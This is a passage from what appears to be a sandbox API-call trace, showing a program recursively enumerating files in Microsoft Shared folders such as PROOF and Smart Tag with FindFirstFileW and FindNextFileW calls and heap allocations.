nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0083.161] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0083.161] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0083.161] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0083.162] GetProcessHeap () returned 0x470000 [0083.162] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0083.162] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0083.162] GetProcessHeap () returned 0x470000 [0083.162] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0083.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0085.113] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.113] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0085.114] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0085.114] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0085.114] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0085.114] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0085.114] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0085.114] GetProcessHeap () returned 0x470000 [0085.114] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0085.114] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0085.114] GetProcessHeap () returned 0x470000 [0085.114] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0085.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0085.527] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.527] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0085.527] GetProcessHeap () returned 0x470000 [0085.527] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0085.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0085.859] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.859] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0085.859] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0085.859] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0085.859] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0085.859] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0085.860] GetProcessHeap () returned 0x470000 [0085.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0085.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0085.860] GetProcessHeap () returned 0x470000 [0085.860] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0085.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0086.068] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.068] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.068] GetProcessHeap () returned 0x470000 [0086.068] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0086.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", 